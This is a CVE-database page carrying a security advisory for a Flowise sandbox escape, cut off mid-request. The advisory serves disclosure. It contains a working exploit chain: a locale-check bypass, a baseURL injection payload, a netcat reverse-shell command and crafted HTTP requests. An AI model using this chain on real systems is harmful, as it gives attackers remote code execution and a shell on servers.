Powered by data from 22+ sources — NVD, cve.org, EPSS, CISA KEV, OSV, GHSA, MITRE ATT&CK, and more.

About & licensesSource status
cvekit
CockpitCVEsATT&CKActorsSources
----‑--‑-- · --:--:-- UTCLIVE
373,955 matching
CVEs · 373,955page 1 / 7480
CVE-2026-69253NONE

============================================================================= Security Advisory elttam Topic: Flowise JavaScript Sandbox Escape Module: FlowiseAI/Flowise, FlowiseAI/nodevm Disclosed: 11-Apr-2026 Credits: Luke Jahnke and Alex Brown Affects: `FlowiseAI/Flowise 3.1.1`, `FlowiseAI/nodevm 3.9.25` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding. The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by `patriksimek/vm2`, a fork of the `patriksimek/vm2` package. # II. Problem Description **NOTE**: This vulnerability still impacts commit `dddfb3c90eec900d747790a439bd362a764039cd` (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the `patriksimek/vm2` sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the `vm2` sandbox would not resolve it. The `patriksimek/vm2` sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning: *https://github.com/n8n-io/vm2* > The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to `isolated-vm`. To demonstrate the risks associated with the use of the `vm2` sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise. https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124 ```ts const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1> ``` <1> Allows custom JavaScript code to use the `axios`, `moment` and `node-fetch` dependencies. Notably, the `moment` dependency had a previously reported path traversal vulnerability (`CVE-2022-24785`) that could lead to RCE when user input is passed to the `locale` function. The patch for `CVE-2022-24785` was implementing regex check to disallow `/` or `\` characters within a locale name, as shown in the code snippet below. *Patch for `CVE-2022-24785` in `moment` (https://github.com/moment/moment/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5)* ```js function isLocaleNameSane(name) { // Prevent names that look like filesystem paths, i.e contain '/' or '\' return name.match('^[^/\\\\]*$') != null; <1> } function loadLocale(name) { var oldLocale = null, aliasedRequire; // TODO: Find a better way to register and load all the locales in Node if ( locales[name] === undefined && typeof module !== 'undefined' && module && module.exports && isLocaleNameSane(name) <1> ) { try { oldLocale = globalLocale._abbr; aliasedRequire = require; aliasedRequire('./locale/' + name); <2> getSetGlobalLocale(oldLocale); } catch (e) { // mark as not found to avoid repeating expensive file require call causing high CPU // when trying to find en-US, en_US, en-us for every format call locales[name] = null; // null means not found } } return locales[name]; } ``` <1> Performs a regex check to disallow `/` or `\` characters within the provided locale name. <2> The vulnerable sink that introduced `CVE-2022-24785`. Flowise used `moment` version `v2.29.3`, which had the `CVE-2022-24785` patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the `match` function from the provided object, so an object with a `match` function that always returns `true` would bypass the validation check, as shown in the following proof-of-concept script. ```js fake = new String("../../../../../../../../../../../../../../../etc/passwd"); fake.match = function(regexp){return true;}; <1> require("moment").locale(fake); ``` <1> Bypasses the validation check for `CVE-2022-24785`. In commit `e765367fdc9761a7d9cf01a048cac15c78903b85` (https://github.com/FlowiseAI/Flowise/commit/e765367fdc9761a7d9cf01a048cac15c78903b85), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below. https://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts ```ts export const executeJavaScriptCode = async ( code: string, sandbox: ICommonObject, options: { timeout?: number useSandbox?: boolean libraries?: string[] streamOutput?: (output: string) => void nodeVMOptions?: ICommonObject } = {} ): Promise<any> => { const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options <1> if (useSandbox && !process.env.E2B_APIKEY) { <1> throw new Error( 'Sandboxed code execution requires E2B_APIKEY to be configured. ' + 'Set E2B_APIKEY in your environment or contact your administrator.' ) } let timeoutMs = timeout if (process.env.SANDBOX_TIMEOUT) { timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10) } ... ``` <1> The default was changed to use the E2B sandbox. However, there are several components within the application that still use the insecure `vm2` sandbox, as shown in the following `grep` output. ```terminal $ grep -r 'useSandbox: false' packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts: useSandbox: false packages/components/nodes/tools/ChatflowTool/ChatflowTool.ts: useSandbox: false packages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts: useSandbox: false ``` The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the `baseURL` input. The following code snippets demonstrate the injection vulnerability within `AgentAsTool.ts` and the broken `isValidURL` validation function. https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts ```ts class AgentAsTool_Tools implements INode { ... async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> { ... const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string) // Validate agentflowid is a valid UUID if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) { throw new Error('Invalid agentflow ID: must be a valid UUID') } // Validate baseURL is a valid URL if (!baseURL || !isValidURL(baseURL)) { <1> throw new Error('Invalid base URL: must be a valid URL') } ... } } class AgentflowTool extends StructuredTool { ... // @ts-ignore protected async _call( arg: z.infer<typeof this.schema>, _?: CallbackManagerForToolRun, flowConfig?: { sessionId?: string; chatId?: string; input?: string } ): Promise<string> { ... const code = ` const fetch = require('node-fetch'); const url = "${this.baseURL}/api/v1/prediction/${this.agentflowid}"; <2> const body = $callBody; const options = $callOptions; try { const response = await fetch(url, options); const resp = await response.json(); return resp.text; } catch (error) { console.error(error); return ''; } ` ... let response = await executeJavaScriptCode(code, sandbox, { useSandbox: false <3> }) if (typeof response === 'object') { response = JSON.stringify(response) } return response } } ``` <1> Use of the broken `isValidURL` validation function, that is shown below. <2> Injection via the `baseURL` setting into the sandboxed code. <3> Uses the insecure `vm2` sandbox. https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts ```ts /** * Validates if a string is a valid URL * @param {string} url The string to validate * @returns {boolean} True if valid URL, false otherwise */ export const isValidURL = (url: string): boolean => { try { new URL(url) <1> return true } catch { return false } } ``` <1> The JavaScript `URL` class does not validate characters in the URL hash fragment. An attacker could inject arbitrary code by inserting `#";\n{malicious_code};//` at the end of the `baseURL` setting, where the following `baseURL` demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file `/tmp/evil.txt` outside the `vm2` sandbox. ```js "https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//" ``` The following documents the procedure to remotely exploit the insecure `vm2` sandbox to achieve RCE on Flowise using the `AgentAsTool` node. **Note:** This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment. 1. Log into a Flowise instance and note the organisation ID in the response from `POST /api/v1/auth/login`, as shown below. ```http HTTP/1.1 200 OK Set-Cookie: token=<REDACTED> Set-Cookie: refreshToken=<REDACTED> Set-Cookie: connect.sid=<REDACTED> Content-Type: application/json; charset=utf-8 Content-Length: 671 ETag: W/"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho" Date: Sat, 11 Apr 2026 12:05:42 GMT Connection: keep-alive Keep-Alive: timeout=5 { "activeOrganizationCustomerId": null, "activeOrganizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1> "activeOrganizationProductId": "", "activeOrganizationSubscriptionId": null, "activeWorkspace": "Default Workspace", "activeWorkspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d", "assignedWorkspaces": [ { "id": "4b7e2414-a652-413d-b45e-b9edb8e63c1d", "name": "Default Workspace", "organizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1> "role": "owner" } ], "email": "[email protected]", "features": {}, "id": "f8acb68d-afa5-41bd-8485-e39457433b71", "isOrganizationAdmin": true, "isSSO": false, "name": "Admin", "permissions": [ "organization", "workspace" ], "roleId": "3ff0de09-3993-125c-8798-7d14c45336df" } ``` <1> The organisation ID that is required for a later step. 2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the `vm2` sandbox. The following script is a reverse shell payload that connects to `172.17.0.1:1337` that had a filename of `rce.js`. ```js process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh') ``` 3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the `POST /api/v1/document-store/loader/process/{loader_id}` endpoint and retrieve the `storeId`, as demonstrated in the response below. ```http HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 996 ETag: W/"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0" Date: Sat, 11 Apr 2026 12:13:41 GMT Connection: keep-alive Keep-Alive: timeout=5 { "characters": 94, "chunks": [ { "chunkNo": 1, "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "id": "d6915ca3-4845-4f5b-a59c-3aa723aca8bd", "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}", "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')", "storeId": "dd6e5e1a-9c17-4a80-ad97-87302d9aa549" <1> } ], "count": 1, "currentPage": 1, "description": "", "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "file": { "files": [ { "id": "68a0a833-09c4-4df6-8b3e-1071f8edd462", "mimePrefix": "application/x-javascript", "name": "rce.js", "size": 94, "status": "NEW", "uploaded": "2026-04-11T12:13:41.235Z" } ], "id": "72f80118-fede-4f20-9ec6-1577e64c9ceb", "loaderConfig": { "file": "FILE-STORAGE::[\"rce.js\"]", "legacyBuild": "", "metadata": "", "omitMetadataKeys": "", "pointerName": "", "textSplitter": "", "usage": "perPage" }, "loaderId": "fileLoader", "loaderName": "RCE", "status": "SYNC", "totalChars": 94, "totalChunks": 1 }, "storeName": "RCE File Store", "workspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d" } ``` <1> The store ID that is required for a later step. 4. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the `AgentAsTool` node. 5. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the `PUT /api/v1/chatflows/{chatflow_id}` and modify the `baseURL` input to `"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"`, where the `{home_folder}` is `/home/node` if built locally using `https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile` or `/root` if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the `{organisation_id}`, `{store_id}` and `{filename}` placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at `/home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js`. <img width="2229" height="1148" alt="sandbox-escape-tool-setup" src="https://github.com/user-attachments/assets/87850ecf-3d93-4939-b5d3-9d3d2c349894" /> ```http PUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1 Host: 192.168.122.62:3000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Type: application/json x-request-from: internal Content-Length: 17821 Origin: http://192.168.122.62:3000 Connection: keep-alive Referer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be Cookie: {cookies} {"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"{\"nodes\":[{\"data\":{\"baseClasses\":[\"AgentAsTool\",\"Tool\"],\"category\":\"Tools\",\"credential\":\"\",\"description\":\"Use as a tool to execute another agentflow\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\",\"id\":\"agentAsTool_0\",\"inputAnchors\":[],\"inputParams\":[{\"credentialNames\":[\"agentflowApi\"],\"display\":true,\"id\":\"agentAsTool_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"optional\":true,\"type\":\"credential\"},{\"display\":true,\"id\":\"agentAsTool_0-input-selectedAgentflow-asyncOptions\",\"label\":\"Select Agent\",\"loadMethod\":\"listAgentflows\",\"name\":\"selectedAgentflow\",\"type\":\"asyncOptions\"},{\"display\":true,\"id\":\"agentAsTool_0-input-name-string\",\"label\":\"Tool Name\",\"name\":\"name\",\"type\":\"string\"},{\"description\":\"Description of what the tool does. This is for LLM to determine when to use this tool.\",\"display\":true,\"id\":\"agentAsTool_0-input-description-string\",\"label\":\"Tool Description\",\"name\":\"description\",\"placeholder\":\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\",\"rows\":3,\"type\":\"string\"},{\"display\":true,\"id\":\"agentAsTool_0-input-returnDirect-boolean\",\"label\":\"Return Direct\",\"name\":\"returnDirect\",\"optional\":true,\"type\":\"boolean\"},{\"acceptVariable\":true,\"additionalParams\":true,\"description\":\"Override the config passed to the Agentflow.\",\"display\":true,\"id\":\"agentAsTool_0-input-overrideConfig-json\",\"label\":\"Override Config\",\"name\":\"overrideConfig\",\"optional\":true,\"type\":\"json\"},{\"additionalParams\":true,\"description\":\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\",\"display\":true,\"id\":\"agentAsTool_0-input-baseURL-string\",\"label\":\"Base URL\",\"name\":\"baseURL\",\"optional\":true,\"placeholder\":\"http://localhost:3000\",\"type\":\"string\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\",\"display\":true,\"id\":\"agentAsTool_0-input-startNewSession-boolean\",\"label\":\"Start new session per message\",\"name\":\"startNewSession\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\",\"display\":true,\"id\":\"agentAsTool_0-input-useQuestionFromChat-boolean\",\"label\":\"Use Question from Chat\",\"name\":\"useQuestionFromChat\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\",\"display\":false,\"id\":\"agentAsTool_0-input-customInput-string\",\"label\":\"Custom Input\",\"name\":\"customInput\",\"optional\":true,\"show\":{\"useQuestionFromChat\":false},\"type\":\"string\"}],\"inputs\":{\"baseURL\":\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\",\"customInput\":\"\",\"description\":\"Sandbox escape code will be injected using the baseURL input\",\"name\":\"sandbox-escape\",\"overrideConfig\":\"\",\"returnDirect\":\"\",\"selectedAgentflow\":\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\",\"startNewSession\":\"\",\"useQuestionFromChat\":\"\"},\"label\":\"Agent as Tool\",\"loadMethods\":{},\"name\":\"agentAsTool\",\"outputAnchors\":[{\"description\":\"Use as a tool to execute another agentflow\",\"id\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"label\":\"AgentAsTool\",\"name\":\"agentAsTool\",\"type\":\"AgentAsTool | Tool\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentAsTool\",\"version\":1},\"dragging\":false,\"height\":803,\"id\":\"agentAsTool_0\",\"position\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"positionAbsolute\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"selected\":true,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"BufferMemory\",\"BaseChatMemory\",\"BaseMemory\"],\"category\":\"Memory\",\"description\":\"Retrieve chat messages stored in database\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\",\"id\":\"bufferMemory_0\",\"inputAnchors\":[],\"inputParams\":[{\"additionalParams\":true,\"default\":\"\",\"description\":\"If not specified, a random id will be used. Learn <a target=\\\"_blank\\\" href=\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\">more</a>\",\"display\":true,\"id\":\"bufferMemory_0-input-sessionId-string\",\"label\":\"Session Id\",\"name\":\"sessionId\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"default\":\"chat_history\",\"display\":true,\"id\":\"bufferMemory_0-input-memoryKey-string\",\"label\":\"Memory Key\",\"name\":\"memoryKey\",\"type\":\"string\"}],\"inputs\":{\"memoryKey\":\"chat_history\",\"sessionId\":\"\"},\"label\":\"Buffer Memory\",\"name\":\"bufferMemory\",\"outputAnchors\":[{\"description\":\"Retrieve chat messages stored in database\",\"id\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"label\":\"BufferMemory\",\"name\":\"bufferMemory\",\"type\":\"BufferMemory | BaseChatMemory | BaseMemory\"}],\"outputs\":{},\"selected\":false,\"type\":\"BufferMemory\",\"version\":2},\"dragging\":false,\"height\":259,\"id\":\"bufferMemory_0\",\"position\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"positionAbsolute\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"ChatOpenAI\",\"BaseChatOpenAI\",\"BaseChatModel\",\"BaseLanguageModel\",\"Runnable\"],\"category\":\"Chat Models\",\"credential\":\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\",\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\",\"id\":\"chatOpenAI_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"chatOpenAI_0-input-cache-BaseCache\",\"label\":\"Cache\",\"name\":\"cache\",\"optional\":true,\"type\":\"BaseCache\"}],\"inputParams\":[{\"credentialNames\":[\"openAIApi\"],\"display\":true,\"id\":\"chatOpenAI_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\"},{\"default\":\"gpt-4o-mini\",\"display\":true,\"id\":\"chatOpenAI_0-input-modelName-asyncOptions\",\"label\":\"Model Name\",\"loadMethod\":\"listModels\",\"name\":\"modelName\",\"type\":\"asyncOptions\"},{\"default\":0.9,\"display\":true,\"id\":\"chatOpenAI_0-input-temperature-number\",\"label\":\"Temperature\",\"name\":\"temperature\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"default\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-streaming-boolean\",\"label\":\"Streaming\",\"name\":\"streaming\",\"optional\":true,\"type\":\"boolean\"},{\"default\":false,\"description\":\"Allow image input. Refer to the <a href=\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\" target=\\\"_blank\\\">docs</a> for more details.\",\"display\":true,\"id\":\"chatOpenAI_0-input-allowImageUploads-boolean\",\"label\":\"Allow Image Uploads\",\"name\":\"allowImageUploads\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":true,\"id\":\"chatOpenAI_0-input-reasoning-boolean\",\"label\":\"Reasoning\",\"name\":\"reasoning\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningEffort-options\",\"label\":\"Reasoning Effort\",\"name\":\"reasoningEffort\",\"options\":[{\"label\":\"Low\",\"name\":\"low\"},{\"label\":\"Medium\",\"name\":\"medium\"},{\"label\":\"High\",\"name\":\"high\"},{\"description\":\"X-High is supported for all models after gpt-5.1-codex-max\",\"label\":\"X-High\",\"name\":\"xhigh\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"description\":\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningSummary-options\",\"label\":\"Reasoning Summary\",\"name\":\"reasoningSummary\",\"options\":[{\"label\":\"Auto\",\"name\":\"auto\"},{\"label\":\"Concise\",\"name\":\"concise\"},{\"label\":\"Detailed\",\"name\":\"detailed\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-maxTokens-number\",\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-topP-number\",\"label\":\"Top Probability\",\"name\":\"topP\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-frequencyPenalty-number\",\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-presencePenalty-number\",\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-timeout-number\",\"label\":\"Timeout\",\"name\":\"timeout\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"description\":\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\",\"display\":true,\"id\":\"chatOpenAI_0-input-strictToolCalling-boolean\",\"label\":\"Strict Tool Calling\",\"name\":\"strictToolCalling\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"List of stop words to use when generating. Use comma to separate multiple stop words.\",\"display\":true,\"id\":\"chatOpenAI_0-input-stopSequence-string\",\"label\":\"Stop Sequence\",\"name\":\"stopSequence\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Override the default base URL for the API, e.g., \\\"https://api.example.com/v2/\",\"display\":true,\"id\":\"chatOpenAI_0-input-basepath-string\",\"label\":\"Base Path\",\"name\":\"basepath\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Default headers to include with every request to the API.\",\"display\":true,\"id\":\"chatOpenAI_0-input-baseOptions-json\",\"label\":\"Base Options\",\"name\":\"baseOptions\",\"optional\":true,\"type\":\"json\"}],\"inputs\":{\"allowImageUploads\":\"\",\"baseOptions\":\"\",\"basepath\":\"\",\"cache\":\"\",\"frequencyPenalty\":\"\",\"maxTokens\":\"\",\"modelName\":\"gpt-4o-mini\",\"presencePenalty\":\"\",\"reasoning\":\"\",\"reasoningEffort\":\"\",\"reasoningSummary\":\"\",\"stopSequence\":\"\",\"streaming\":true,\"strictToolCalling\":\"\",\"temperature\":0.9,\"timeout\":\"\",\"topP\":\"\"},\"label\":\"OpenAI\",\"loadMethods\":{},\"name\":\"chatOpenAI\",\"outputAnchors\":[{\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"id\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"label\":\"ChatOpenAI\",\"name\":\"chatOpenAI\",\"type\":\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"ChatOpenAI\",\"version\":8.3},\"dragging\":false,\"height\":676,\"id\":\"chatOpenAI_0\",\"position\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"positionAbsolute\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"category\":\"Agents\",\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\",\"id\":\"toolAgent_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"toolAgent_0-input-tools-Tool\",\"label\":\"Tools\",\"list\":true,\"name\":\"tools\",\"type\":\"Tool\"},{\"display\":true,\"id\":\"toolAgent_0-input-memory-BaseChatMemory\",\"label\":\"Memory\",\"name\":\"memory\",\"type\":\"BaseChatMemory\"},{\"description\":\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\",\"display\":true,\"id\":\"toolAgent_0-input-model-BaseChatModel\",\"label\":\"Tool Calling Chat Model\",\"name\":\"model\",\"type\":\"BaseChatModel\"},{\"description\":\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\",\"display\":true,\"id\":\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\",\"label\":\"Chat Prompt Template\",\"name\":\"chatPromptTemplate\",\"optional\":true,\"type\":\"ChatPromptTemplate\"},{\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"display\":true,\"id\":\"toolAgent_0-input-inputModeration-Moderation\",\"label\":\"Input Moderation\",\"list\":true,\"name\":\"inputModeration\",\"optional\":true,\"type\":\"Moderation\"}],\"inputParams\":[{\"additionalParams\":true,\"default\":\"You are a helpful AI assistant.\",\"description\":\"If Chat Prompt Template is provided, this will be ignored\",\"display\":true,\"id\":\"toolAgent_0-input-systemMessage-string\",\"label\":\"System Message\",\"name\":\"systemMessage\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"display\":true,\"id\":\"toolAgent_0-input-maxIterations-number\",\"label\":\"Max Iterations\",\"name\":\"maxIterations\",\"optional\":true,\"type\":\"number\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Stream detailed intermediate steps during agent execution\",\"display\":true,\"id\":\"toolAgent_0-input-enableDetailedStreaming-boolean\",\"label\":\"Enable Detailed Streaming\",\"name\":\"enableDetailedStreaming\",\"optional\":true,\"type\":\"boolean\"}],\"inputs\":{\"chatPromptTemplate\":\"\",\"enableDetailedStreaming\":\"\",\"inputModeration\":\"\",\"maxIterations\":\"\",\"memory\":\"{{bufferMemory_0.data.instance}}\",\"model\":\"{{chatOpenAI_0.data.instance}}\",\"systemMessage\":\"You are a helpful AI assistant.\",\"tools\":[\"{{agentAsTool_0.data.instance}}\"]},\"label\":\"Tool Agent\",\"name\":\"toolAgent\",\"outputAnchors\":[{\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"id\":\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\",\"label\":\"AgentExecutor\",\"name\":\"toolAgent\",\"type\":\"AgentExecutor | BaseChain | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentExecutor\",\"version\":2},\"dragging\":false,\"height\":492,\"id\":\"toolAgent_0\",\"position\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"positionAbsolute\":{\"x\":1078.1036951401863,\"y\":523.9186243849886},\"selected\":false,\"type\":\"customNode\",\"width\":300}],\"edges\":[{\"id\":\"agentAsTool_0-agentAsTool_0-output-agentAsTool-AgentAsTool|Tool-toolAgent_0-toolAgent_0-input-tools-Tool\",\"source\":\"agentAsTool_0\",\"sourceHandle\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-tools-Tool\",\"type\":\"buttonedge\"},{\"id\":\"bufferMemory_0-bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory-toolAgent_0-toolAgent_0-input-memory-BaseChatMemory\",\"source\":\"bufferMemory_0\",\"sourceHandle\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-memory-BaseChatMemory\",\"type\":\"buttonedge\"},{\"id\":\"chatOpenAI_0-chatOpenAI_0-ou